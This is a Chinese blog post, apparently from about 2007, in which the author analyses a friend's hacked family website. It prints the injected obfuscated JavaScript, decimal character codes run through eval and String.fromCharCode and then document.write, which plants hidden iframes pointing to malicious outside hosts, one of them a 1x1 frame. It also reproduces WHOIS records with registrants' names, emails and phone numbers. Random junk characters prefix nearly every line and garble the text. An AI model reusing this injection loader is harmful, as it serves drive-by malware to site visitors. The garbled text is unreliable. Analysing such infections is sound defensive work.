首发在我的博客里面，
2L 1Azx `7',R Uj|D http://www.areway.cn/?p=175 ayA_[{j%X 9A Q2FD mOYXd,xd 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
+ OUM 4y Zo,]Dx <script>t=’60,105,102,114,97,109,101,
q?&J S 32,115,114,99,61,104,116,116,112,58,47,47,
.fY$$aD$4 102,114,101,101,46,117,45,117,117,117,46,99,
xtp 5 5"g 110,47,101,114,114,111,114,46,104,116,109,
)/tdiRpn 32,119,105,100,116,104,61,49,48,48,32,104,
E95VR?nUg 101,105,103,104,116,61,48,62,60,47,105,102,
wtGb 3D"am 114,97,109,101,62′;
Q9t.*+ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
h^b = `P9%[8`C 9 <script>t=’60,105,102,114,97,109,101,32,115,
V U|Cct&) 114,99,61,104,116,116,112,58,47,47,102,114,
5d82M s 101,101,46,117,45,117,117,117,46,99,110,47,
E __A1j*gd 101,114,114,111,114,46,104,116,109,32,119,
Wy$Q!R =i 105,100,116,104,61,49,48,48,32,104,101,105,
Cd7d-'EQn 103,104,116,61,48,62,60,47,105,102,114,97,
.ZH5^Sv$vp 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
f P1fm document.write(t);</script>
wijY]$ _n<
@Jk~ <html xmlns=”
-QP1Se*# http://www.w3.org/1999/xhtml DzCb'# “>
eYRm:KC <head>
2O9OEZdKB <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
` #N7ym;s@ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
(fWQ?6[ <title>首页 - 爱生活家庭网
k\M">K0E \R<OT%8 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
q0
8 转换字符串后的大概内容是（谁点击后果自付）：
w+ tO@ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
OKzk\F6 G Ei^3UD 查询玉米u-uuu.cn的详细信息：
b ~ FmX Domain Name: u-uuu.cn
"mkTCR^] e ROID: 20070901s10001s64972306-cn
N
DV_/ BI Domain Status: ok
u8@>ThPD Registrant Organization: 王雷
/=7[Q Registrant Name: 王雷
LHP?!rO 0 Administrative Email:
czlovexs@126.com \7,'o] >M- Sponsoring Registrar: 北京万网志成科技有限公司
x; *KRO Name Server:ns.yovole.com
Yt;.Z$i , Name Server:ns1.yovole.com
<$
A r*<,6 Registration Date: 2007-09-01 17:54
-vC?bumR% Expiration Date: 2008-09-01 17:54
jVu3 !{} 最后PING了一下地址 都没有什么….
KcjP39@I /=q n1 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
#65Uei|F`+ <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
1 {V* (=Tp <script language=”javascript” src=”
Y,@{1X`0@3 http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script }KHdlhD >
etH%E aF[ 这个玉米应该有可能是木马作者的：
Z`b{r;`m8 foafau.info的详细信息：
zKk2>. Access to INFO WHOIS information is provided to assist persons in
oFV >b determining the contents of a domain name registration record in the
5q?ZuAAA Afilias registry database. The data in this record is provided by
I(Yyg,1Z Afilias Limited for informational purposes only, and Afilias does not
*^u5?{$l( guarantee its accuracy. This service is intended only for query-based
Tce2 ]"^; access. You agree that you will use this data only for lawful purposes
y(8AxsROp and that, under no circumstances will you use this data to: (a) allow,
Pw '3ya8 enable, or otherwise support the transmission by e-mail, telephone, or
I.\fhNxHY facsimile of mass unsolicited, commercial advertising or solicitations
7>J8\= to entities other than the data recipient’s own existing customers; or
(v8jVbg (b) enable high volume, automated, electronic processes that send
OE/O: F:1j queries or data to the systems of Registry Operator, a Registrar, or
g+k0Fw]! Afilias except as reasonably necessary to register domain names or
X}xy
v modify existing registrations. All rights reserved. Afilias reserves
`:A`%Fg8< the right to modify these terms at any time. By submitting this query,
9Qb_BNUo you agree to abide by this policy.
LQs2!]?HT Domain ID:D22418703-LRMS
]|[oL6" Domain Name:FOAFAU.INFO
Kh xl 'qj Created On:20-Nov-2007 16:05:42 UTC
1G+42>?<1 Last Updated On:20-Nov-2007 16:05:44 UTC
q8.K-"f(Q Expiration Date:20-Nov-2008 16:05:42 UTC
, !3G Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
aQaO.K2 Status:CLIENT DELETE PROHIBITED
Nd*zSsVlq Status:CLIENT RENEW PROHIBITED
oToUpkAI Status:CLIENT TRANSFER PROHIBITED
P-VK=Y1q Status:CLIENT UPDATE PROHIBITED
Cv|y a$}a Status:TRANSFER PROHIBITED
, \f!e#d Registrant ID:GODA-040110615
(yCF pb Registrant Name:liu hong
Z*QsDS Registrant Organization:
?*a:f"vQ Registrant Street1:beijing
=$IjN v (? Registrant Street2:
A5zT^!`[ Registrant Street3:
]dc^@}1bN Registrant City:beijing
O s@ d&wm Registrant State/Province:
5~ CHj Registrant Postal Code:100000
41WnKz9c Registrant Country:CN
)G0a72 Registrant Phone:+86.860108888777
/ PAxPZf_ Registrant Phone Ext.:
|?SK.1pW Registrant FAX:
E[>4 b7{g: Registrant FAX Ext.:
e/E fWwqt Registrant Email:bbbshiji@163.com
G_g~-[O Admin ID:GODA-240110615
3ADT Yt". Admin Name:liu hong
INsc!xOQ Admin Organization:
]%3o" | Admin Street1:beijing
$cFanra Admin Street2:
?C6iJnm Admin Street3:
"*WzoRA={ Admin City:beijing
yK<%AV@v Admin State/Province:
AxUj CerNf Admin Postal Code:100000
69 R8 #M Admin Country:CN
1GVJ3VXt Admin Phone:+86.860108888777
zo&'2I Admin Phone Ext.:
yw2^kk93| Admin FAX:
`AeId/A4n Admin FAX Ext.:
# vYdP#nWb Admin Email:bbbshiji@163.com
[L8Bg w1 Billing ID:GODA-340110615
3HC aZ?Ry' Billing Name:liu hong
qCn ( ~: Billing Organization:
[nxjPx9- Billing Street1:beijing
hV I
$r Billing Street2:
Slcf= Billing Street3:
M;={] w@ n Billing City:beijing
IM}T2\tZ} Billing State/Province:
z@^l1)m Billing Postal Code:100000
gd-4hR Billing Country:CN
i=@.u=: Billing Phone:+86.860108888777
oori t Billing Phone Ext.:
MOY .$M,1 Billing FAX:
5zX;/n~ Billing FAX Ext.:
r}MXXn,f Billing Email:bbbshiji@163.com
9~bje^M Tech ID:GODA-140110615
J{Ei+@^/9 Tech Name:liu hong
Zh]d&Xeq Tech Organization:
}kd YR#{s Tech Street1:beijing
0: R } Tech Street2:
=xWZJ:UnU Tech Street3:
hV])\t=yf Tech City:beijing
deHhl(U; Tech State/Province:
wIz<Y{HA= Tech Postal Code:100000
&/}]9 # Tech Country:CN
Pfu2=2Ra Tech Phone:+86.860108888777
h S}?"ST| Tech Phone Ext.:
\@vR *E Tech FAX:
Wo 2TU! Tech FAX Ext.:
|\%[e@u Tech Email:bbbshiji@163.com
}BS.OK? Name Server:NS27.DOMAINCONTROL.COM
O E0w/ { Name Server:NS28.DOMAINCONTROL.COM
>xws Name Server:
mS5'q q;t Name Server:
QpwOrxI} Name Server:
ifl`QZp_ Name Server:
oE[wOq + Name Server:
S)of.Nq.; Name Server:
A&rk5y; Name Server:
Uc%(#I]Mi Name Server:
"qjkw f)\ Name Server:
mufi>} Name Server:
^A dHP!I Name Server:
Ikql |}
;&xI 接着下载每个文件里面的代码：
:#1{c^i%3 一步一步看..
' 8K5=|!J 
[ X]yj 
VliX'.- 
z^$DXl@)h 
%^ f! = * 
x.CUJ^_. 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
